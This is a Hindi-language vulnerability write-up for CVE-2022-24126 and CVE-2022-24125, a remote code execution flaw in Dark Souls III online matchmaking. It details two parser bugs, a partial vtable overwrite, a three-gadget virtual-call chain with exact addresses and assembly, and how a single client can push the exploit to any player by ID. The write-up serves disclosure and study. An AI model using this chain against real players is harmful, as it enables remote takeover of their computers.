शोषण सारांश (CVE-2022-24126)

NRSessionSearchResult मैचमेकिंग डेटा के पार्सिंग के दौरान स्टैक बफर और डेटा साइज़ फील्ड पर अनुचित बाउंड्स चेकिंग एक हमलावर को मनमाना कोड निष्पादित करने की अनुमति देती है। स्टैक ओवरफ्लो स्ट्रीम रीडर द्वारा आंतरिक रूप से उपयोग किए जाने वाले DLMemoryInputStream ऑब्जेक्ट के निचले दो बाइट्स vftable_ptr को ओवरराइट करने की अनुमति देता है, जिससे निष्पादन सावधानीपूर्वक चुने गए पड़ोसी कोड पर रीडायरेक्ट हो जाता है। DLMemoryInputStream ऑब्जेक्ट की संरचना और डेटा साइज़ फील्ड का चतुर शोषण तब मनमाना कोड रीडायरेक्शन प्राप्त करने की अनुमति देता है, जिसमें RCX हमारे पैकेट के पते की ओर इशारा करता है। वहां से, विभिन्न ऑफ़सेट वाले वर्चुअल कॉल के माध्यम से कोड रीडायरेक्शन की एक श्रृंखला (जो अब उन पतों पर कूद जाएगी जो हमने पैकेट बफर में लिखे थे) का उपयोग मनमाना कोड निष्पादन प्राप्त करने के लिए किया जा सकता है।

वितरण वेक्टर (CVE-2022-24125)

वितरण वेक्टर ही इस विशेष RCE को विशेष रूप से गंभीर बनाते हैं (पहले से ही RCE होने के अलावा)। शोषण NRSessionSearchResult जानकारी वाले मैचमेकिंग पुश अनुरोधों के माध्यम से प्रेषित होता है। इसका मतलब है कि हमलावर उन सभी को लक्षित कर सकता है जो उनके ऑनलाइन सत्र में शामिल होते हैं। विशेष रूप से, DS3 के लिए:

• समन्स (PushRequestSummonSign)
• डार्क स्पिरिट आक्रमणकारी (PushRequestAllowBreakInTarget)
• वाचा के माध्यम से शामिल होने वाले खिलाड़ी (PushRequestVisit)
• अखाड़ा लड़ाके (PushRequestAcceptQuickMatch)

यह पहले से ही काफी बुरा है, लेकिन वास्तविक क्षमता RequestSendMessageToPlayers अनुरोध द्वारा अनलॉक की गई है:

message RequestSendMessageToPlayers { 
    repeated uint32 player_ids = 1; 
    required bytes push_message = 2;
}

होस्ट इस अनुरोध का उपयोग आक्रमणकारियों को सीधे PushRequestAllowBreakInTarget पुश संदेश भेजने के लिए करता है ताकि वे स्पॉन निर्देशांक प्राप्त कर सकें और अपने P2P सत्र में शामिल हो सकें। बस इतना ही। गेम द्वारा इस अनुरोध का उपयोग करने का यही एकमात्र तरीका है।

फिर भी यह किसी भी क्लाइंट को सैकड़ों हजारों विशिष्ट खिलाड़ियों को मनमाना पुश संदेश भेजने की अनुमति देता है।

मैं इस बात पर पर्याप्त जोर नहीं दे सकता कि यह कितना भयानक रूप से असुरक्षित है। कोई भी खिलाड़ी मूल रूप से मैचमेकिंग सर्वर का रूप धारण कर सकता है। PushRequestVisit के माध्यम से शोषण भेजने के लिए इस अनुरोध का उपयोग करके, किसी भी ऑनलाइन खिलाड़ी को हमलावर द्वारा दूरस्थ रूप से लक्षित किया जा सकता है, जब तक उनका खिलाड़ी आईडी ज्ञात हो। हमलावर कई अनुरोध भेजकर, प्रत्येक में संभावित खिलाड़ी आईडी का एक बड़ा टुकड़ा शामिल करके, पूरे ऑनलाइन खिलाड़ी आधार को बहुत जल्दी शोषण भेज सकता है।

सभी गेम्स के लिए सामान्य शोषण रणनीति

जबकि RCE हर गेम में बिल्कुल वैसा ही पोर्ट नहीं होता, शोषण का मुख्य विचार जो हमलावर को मनमाना कोड रीडायरेक्शन देता है वही है। यदि यह प्राप्त किया जा सकता है, तो बहुत संभावना है कि गेम-विशिष्ट वर्चुअल कॉल श्रृंखला या ROP श्रृंखला पाई जा सकती है। यह "पहला कदम" निम्नलिखित कमजोरियों का उपयोग करता है:

बग #1: एंट्री लिस्ट पार्सर में कोई बाउंड्स चेक नहीं

सत्र जुड़ने की जानकारी वाले मैचमेकिंग पुश अनुरोध उक्त जानकारी को एक कस्टम बाइनरी प्रारूप में संग्रहीत करते हैं जिसमें लंबाई-सीमांकित डेटा प्रविष्टियों की एक श्रृंखला होती है। प्रत्येक प्रविष्टि का निम्नलिखित प्रारूप है:

struct Entry
{
    uint32_t type_or_id; // पक्का नहीं, लेकिन शायद एक प्रकार (निश्चित लंबाई = 2, चर लंबाई = 1 ?)
    uint32_t size;
    uint8_t data[size];
}

इन प्रविष्टियों के डेटा को कॉपी करने के लिए जिम्मेदार गेम फ़ंक्शन आँख बंद करके साइज़ फील्ड पर भरोसा करता है, जो एक आउट-ऑफ-बाउंड्स रीड बनाता है। एक दुर्भावनापूर्ण क्लाइंट साइज़ फील्ड को 0x7FFFFFFF जैसे मानों पर सेट करके इसका दुरुपयोग कर सकता है, जिससे मेमोरी आवंटन विफल हो जाता है और पीड़ित का गेम क्रैश हो जाता है। बाद में, यह साइज़ DLMemoryInputSteam के कंस्ट्रक्टर को भी पास किया जाता है, जो शोषण का एक सहायक हिस्सा है।

बग #2: NRSessionSearchResult पार्सर में बफर ओवररन

ऊपर वर्णित डेटा संरचना में प्रविष्टियों में से एक एक सीरियलाइज़्ड NRSessionSearchResult ऑब्जेक्ट है। इस डेटा के लिए पार्सर पहले गुणों की एक सूची पार्स करता है। ये गुण 4 बाइट इंट्स, 8 बाइट इंट्स या नल-टर्मिनेटेड वाइड स्ट्रिंग्स हो सकते हैं। इस गुण सूची के बाद होस्ट का Steam persona नाम एक नल-टर्मिनेटेड वाइड स्ट्रिंग के रूप में और कुछ अतिरिक्त डेटा आता है जो शोषण के लिए महत्वपूर्ण नहीं है। यह फ़ंक्शन और गुण सूची पार्सर दोनों स्ट्रिंग्स को पढ़ने के लिए एक निश्चित आकार के स्टैक बफर का उपयोग करते हैं, और दोनों मामलों में बफर पर कोई बाउंड्स चेक नहीं किया जाता है। यहाँ होस्ट नाम को कॉपी करने के लिए जिम्मेदार गेम कोड है (Ghidra डीकंपाइलर का उपयोग करके उत्पादित और फिर साफ किया गया):

size_t idx = 0;
wchar_t wchr = 0;
do {
  // DLEndianStreamReader के vftable इंडेक्स 17 पर read_wchar() फ़ंक्शन
  wchr = stream_reader->read_wchar();
  player_name_buff[idx] = wchr;
  idx++;
} while (wchr != 0);

यह एक बफर ओवररन शोषण की ओर ले जाता है, जो हमलावर को स्टैक को भ्रष्ट करने की अनुमति देता है।

वर्चुअल कॉल / ROP श्रृंखला के लिए रास्ता साफ करना

मनमाना कोड रीडायरेक्शन प्राप्त करने के लिए, हम इसका और पार्सर को कॉल करने वाले फ़ंक्शन द्वारा स्टैक पर इंस्टेंटिएटेड DLMemoryInputStream ऑब्जेक्ट के मेमोरी लेआउट का उपयोग करते हैं, जिसका उपयोग स्ट्रीम रीडर द्वारा आंतरिक रूप से किया जाता है:

struct DLMemoryInputStream {
    uintptr_t* vftable_ptr; // ऑफसेट 0
    size_t data_size;       // ऑफसेट 4 (32bit) / 8 (64bit)
    uint8_t* data_buffer;   // ऑफसेट 8 (32bit) / 16 (64bit)
    // बफर के बाद की प्रविष्टियाँ शोषण के लिए महत्वपूर्ण नहीं हैं
}

चूंकि हम data_size फील्ड (बग #1) को नियंत्रित करते हैं, इसे data_buffer फील्ड के स्टैक मेमोरी पते पर सेट किया जा सकता है। यह सफल होगा बशर्ते पता स्थिर हो और बहुत बड़ा न हो (DS3 उन आवश्यकताओं को पूरा करता है)। चूंकि कंपाइलर स्टैक बफर को फ्रेम के शीर्ष पर रखता है, हमलावर तब बग #2 का उपयोग DLMemoryInputStream के vftable_ptr के निचले दो बाइट्स को ओवरराइट करने के लिए कर सकता है। इसलिए जब DLEndianStreamReader द्वारा अगला कैरेक्टर पढ़ा जाता है, तो यह आंतरिक रूप से DLMemoryInputStream को कॉल करेगा और कोड रीडायरेक्ट हो जाएगा। 2 बाइट्स DLEndianStreamReader vftable में 22वें फ़ंक्शन पर कूदने के लिए पर्याप्त छूट देते हैं, जो अपने पहले फील्ड द्वारा इंगित ऑब्जेक्ट की 6वीं वर्चुअल विधि को कॉल करता है। 64-बिट प्रक्रिया (अर्थात डार्क सोल्स III) में, निम्नलिखित निर्देश निष्पादित होंगे:

MOV       RCX,qword ptr [RCX + 0x8]
MOV       RAX,qword ptr [RCX]
JMP       qword ptr [RAX + 0x40]

चूंकि RCX DLMemoryInputStream ऑब्जेक्ट का एक पॉइंटर है, पहला निर्देश data_size फील्ड को लिखता है, जिसे हमलावर ने बग #1 का उपयोग करके data_buffer फील्ड की ओर इशारा करने वाले स्टैक पते पर सेट किया है, RCX में। अगले दो निर्देश इस प्रकार निष्पादन को उस मेमोरी पते पर रीडायरेक्ट करेंगे जो हमलावर ने डेटा बफर में ऑफसेट 0x40 पर लिखा है। मनमाना कोड रीडायरेक्शन अब प्राप्त हो गया है! वहां से हमलावर कोड रीडायरेक्शन की एक श्रृंखला स्थापित कर सकता है जो उनके पेलोड को एक उपयुक्त मेमोरी क्षेत्र में कॉपी करती है और विभिन्न ऑफ़सेट वाले वर्चुअल कॉल के करीब कोड चुनकर इसे निष्पादित करती है, क्योंकि बफर अब एक वर्चुअल मेथड टेबल के रूप में कार्य करता है। डार्क सोल्स III प्रूफ ऑफ कॉन्सेप्ट के लिए मुझे एक सेटअप मिला जिसमें RCE प्राप्त करने के लिए केवल 3 गैजेट की आवश्यकता है:

• 0x18: 140e97700
• 0x40: 1422be020
• 0x68: 140e40f15

डार्क सोल्स III प्रूफ ऑफ कॉन्सेप्ट कोड

PoC कोड चलाना

हमला वेक्टर

प्रूफ ऑफ कॉन्सेप्ट के लिए मैंने RequestSendMessageToPlayers का उपयोग करके भेजे गए PushRequestVisit संदेश का उपयोग करने का निर्णय लिया। यह शोषण का सबसे शक्तिशाली संस्करण है इस अर्थ में कि लक्ष्य का गेम इसे प्राप्त करने के तुरंत बाद सभी स्थितियों में (मुख्य मेनू में भी) असुरक्षित डेटा को पार्स कर लेगा।

वर्चुअल कॉल रीडायरेक्शन श्रृंखला

ऑफसेट 0x18: 140e97700

LEA       RAX,[DAT_144786150]
RET

यह गैजेट 0x68 वाले में उपयोग किया जाता है। हमें RAX में 144786998 से कम लेकिन काफी करीब एक पता डालने की आवश्यकता है; यह सबसे करीबी है।

ऑफसेट 0x40: 1422be020

MOV       RDX,RAX
MOV       R8,qword ptr [RCX]
CALL      qword ptr [R8 + 0x68]

ऑफ़सेट 0x68 पर गैजेट का उपयोग करने में सक्षम होने के लिए हमें डेटा बफर पता RDX में संग्रहीत होना चाहिए और RCX समान रहना चाहिए। यह ठीक यही प्राप्त करता है।

ऑफसेट 0x68: 140e40f15

; ऑफसेट 0x40 पर गैजेट से यहां कूदना
MOV       RBX,RDX
CMP       R9,R8

 ; कभी नहीं कूदता, R9 != R8
JZ        LAB_140e40f7a
MOV       RAX,qword ptr [RCX]
MOV       R8,qword ptr [RSP + 0x50]
MOV       RDX,R9
MOV       qword ptr [RSP + 0x30],RSI

; ऑफसेट 18 (140e97700) पर कॉल गैजेट। 144786150 को RAX में लोड करता है
CALL      qword ptr [RAX + 0x18]
MOV       RSI,RAX
TEST      RAX,RAX

; कभी नहीं कूदता, RAX डेटा बफर addr है।
JZ        LAB_140e40f4d 
CMP       RBP,RDI
MOV       RDX,RBX
MOV       RCX,RAX
CMOVC     RDI,RBP
MOV       R8,RDI ; RDI 14F3B0 के करीब एक स्टैक पता है, इसलिए memcpy सफल होता है
CALL      memcpy

LAB_140e40f4d:
TEST      RBX,RBX
; कभी नहीं कूदता क्योंकि RBX == RDX == डेटा बफर addr, गैर-शून्य।
JZ        LAB_140e40f62 

; अब हमारे पास memcpy के कारण 144786150 पर इस RWE मेमोरी क्षेत्र का पूर्ण नियंत्रण है। RCE प्राप्त हो गया है!
MOV       RCX,qword ptr [DAT_144786998]
MOV       RDX,RBX
MOV       RAX,qword ptr [RCX]
CALL      qword ptr [RAX + 0x68]

यह गैजेट लगभग सब कुछ हमारे लिए करता है। यह memcpy गंतव्य पॉइंटर प्राप्त करने के लिए ऑफ़सेट 0x18 को कॉल करता है, हमारे पैकेट को वहां कॉपी करता है और फिर स्थिर ऑब्जेक्ट 144786998 पर ऑफ़सेट 0x68 पर वर्चुअल फ़ंक्शन को कॉल करता है, जिसे अब हम memcpy कॉल के कारण पूरी तरह से नियंत्रित करते हैं। चूंकि memcpy द्वारा भ्रष्ट की गई मेमोरी की मात्रा बड़ी है और कुछ क्षेत्र लगातार अन्य गेम थ्रेड्स द्वारा लिखे जा रहे हैं, शोषण पहले एक "सेटअप" पेलोड लोड करता है जिसे एक सुरक्षित स्थान पर कॉपी किया जाता है, अन्य सभी थ्रेड्स को निलंबित करता है और उस पर कूदने से पहले हमारे वास्तविक पेलोड को फिर से कॉपी करता है। अधिक जानकारी के लिए rce.h देखें।

अतिरिक्त जानकारी

मैं प्रूफ ऑफ कॉन्सेप्ट कोड के स्रोत कोड को देखने की सलाह देता हूं क्योंकि इसमें पैकेट की संरचना का विवरण देने वाली कई टिप्पणियां हैं। यदि आप वास्तविक समय में प्रत्येक चरण में क्या होता है यह देखना चाहते हैं (आपको चाहिए, यह बहुत अच्छा है!), तो आप डीबगर के तहत गेम चलाते समय प्रूफ ऑफ कॉन्सेप्ट DLL को इंजेक्ट कर सकते हैं, जिसमें रुचि के निम्नलिखित पतों पर ब्रेकपॉइंट हों:

140ca5960

मूल रूप से जहां शोषण शुरू होता है। यह फ़ंक्शन PushRequestVisit संदेश के आकार-सीमांकित एंट्री सूची डेटा को पार्स करने के लिए जिम्मेदार है। यह पहले सूची की प्रत्येक प्रविष्टि को विभिन्न वेक्टरों में निकालता है:

0x140ca59f8:
    player_data_cpy_ptr = (std_vector *)VectorCopy2_140ca4ef0(&player_data_cpy,player_data);
    FUN_140ca5010(player_data_cpy_ptr,&spawn_data,0x1c);
    FUN_140ca5010(player_data_cpy_ptr,&unk,4);
    FUN_140ca4fa0(player_data_cpy_ptr,&nrssr_data);